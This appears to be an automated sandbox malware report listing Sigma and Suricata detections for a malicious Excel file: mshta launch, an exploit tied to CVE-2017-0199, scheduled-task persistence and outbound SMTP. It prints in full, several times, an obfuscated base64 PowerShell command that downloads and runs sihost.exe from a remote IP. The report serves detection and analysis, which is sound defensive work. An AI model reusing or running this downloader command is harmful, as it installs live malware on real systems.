Author: Michael Haag: Data: Command: "C:\Windows\system32\cmd.exe" "/C POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))", CommandLine: "C:\Windows\system32\cmd.exe" "/C POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICA

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\System32\mshta.exe -Embedding, CommandLine: C:\Windows\System32\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 1208, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\System32\mshta.exe -Embedding, ProcessId: 2480, ProcessName: mshta.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\AppData\Roaming\sihost.exe" , CommandLine: "C:\Users\user\AppData\Roaming\sihost.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\sihost.exe, NewProcessName: C:\Users\user\AppData\Roaming\sihost.exe, OriginalFileName: C:\Users\user\AppData\Roaming\sihost.exe, ParentCommandLine: POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3096, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\sihost.exe" , ProcessId: 3408, ProcessName: sihost.exe

Sigma detected: Windows Binaries Write Suspicious Extensions

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\sihost.exe, ProcessId: 3408, TargetFilename: C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3096, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline", ProcessId: 3312, ProcessName: csc.exe

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 159.203.133.15, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 1208, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3096, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sihost[1].exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmp8AF2.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmp8AF2.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\sihost.exe" , ParentImage: C:\Users\user\AppData\Roaming\sihost.exe, ParentProcessId: 3408, ParentProcessName: sihost.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmp8AF2.tmp", ProcessId: 3488, ProcessName: schtasks.exe

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Users\user\AppData\Roaming\sihost.exe, QueryName: checkip.dyndns.org

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 1208, Protocol: tcp, SourceIp: 159.203.133.15, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 208.91.199.225, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\AppData\Roaming\sihost.exe, Initiated: true, ProcessId: 3620, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49203

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3096, TargetFilename: C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 1208, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))", CommandLine: POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3096, TargetFilename: C:\Users\user\AppData\Local\Temp\1qazuu2n.0yw.ps1

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3096, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline", ProcessId: 3312, ProcessName: csc.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmp8AF2.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmp8AF2.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\sihost.exe" , ParentImage: C:\Users\user\AppData\Roaming\sihost.exe, ParentProcessId: 3408, ParentProcessName: sihost.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmp8AF2.tmp", ProcessId: 3488, ProcessName: schtasks.exe

Suricata Signatures

ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) - Source IP: 192.3.176.138 - Destination IP: 192.168.2.22

Timestamp:	2024-08-13T20:24:29.441065+0200
SID:	2024197
Severity:	1
Source Port:	80
Destination Port:	49164
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 193.122.6.168

Timestamp:	2024-08-13T20:24:57.178970+0200
SID:	2803274
Severity:	2
Source Port:	49175
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 158.101.44.242

Timestamp:	2024-08-13T20:24:55.151172+0200
SID:	2803274
Severity:	2
Source Port:	49173
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 158.101.44.242

Timestamp:	2024-08-13T20:24:47.619338+0200
SID:	2803274
Severity:	2
Source Port:	49166
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 132.226.247.73

Timestamp:	2024-08-13T20:24:59.390779+0200
SID:	2803274
Severity:	2
Source Port:	49177
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 158.101.44.242

Timestamp:	2024-08-13T20:25:01.590224+0200
SID:	2803274
Severity:	2
Source Port:	49178
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 158.101.44.242

Timestamp:	2024-08-13T20:24:59.765024+0200
SID:	2803274
Severity:	2
Source Port:	49178
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.22 - Destination IP: 188.114.97.3

Timestamp:	2024-08-13T20:25:32.528663+0200
SID:	2803305
Severity:	3
Source Port:	49198
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.22 - Destination IP: 188.114.96.3

Timestamp:	2024-08-13T20:25:18.333240+0200
SID:	2803305
Severity:	3
Source Port:	49188
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 193.122.130.0

Timestamp:	2024-08-13T20:24:52.301141+0200
SID:	2803274
Severity:	2
Source Port:	49169
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199) - Source IP: 192.3.176.138 - Destination IP: 192.168.2.22

Timestamp:	2024-08-13T20:24:25.427583+0200
SID:	2024197
Severity:	1
Source Port:	80
Destination Port:	49162
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 193.122.6.168

Timestamp:	2024-08-13T20:25:25.747694+0200
SID:	2803274
Severity:	2
Source Port:	49185
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.22 - Destination IP: 193.122.130.0

Timestamp:	2024-08-13T20:24:53.667052+0200
SID:	2803274
Severity:	2
Source Port:	49171
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

